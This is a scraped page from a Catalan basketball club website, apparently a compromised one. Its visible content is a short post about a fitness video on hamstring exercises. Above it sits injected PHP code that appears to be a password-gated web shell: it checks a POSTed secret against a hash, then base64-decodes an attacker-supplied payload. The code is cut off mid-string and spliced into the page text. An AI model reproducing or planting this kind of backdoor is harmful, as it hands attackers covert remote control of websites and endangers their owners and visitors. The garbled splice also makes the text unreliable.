function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" En forma amb Gerard Merino: isquiosurals - Tgn Bàsquet Club -

Home / #joemquedoacasa / En forma amb Gerard Merino: isquiosurals

En forma amb Gerard Merino: isquiosurals

By
Updated: abril 5, 2020

El preparador físic del TGN Bàsquet continua posant-nos en forma amb un altre vídeo molt didàctic on aquesta vegada treballarem els isquisurals. Així, treballerm músculs agonistes (principals): semitendinós, semimembranós, bíceps crural i gluti major. I també els músculs sinergistes (complementaris): gluti menor, adductors de la cama, abductors de la cama i gastrocnemis.

Related Posts

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *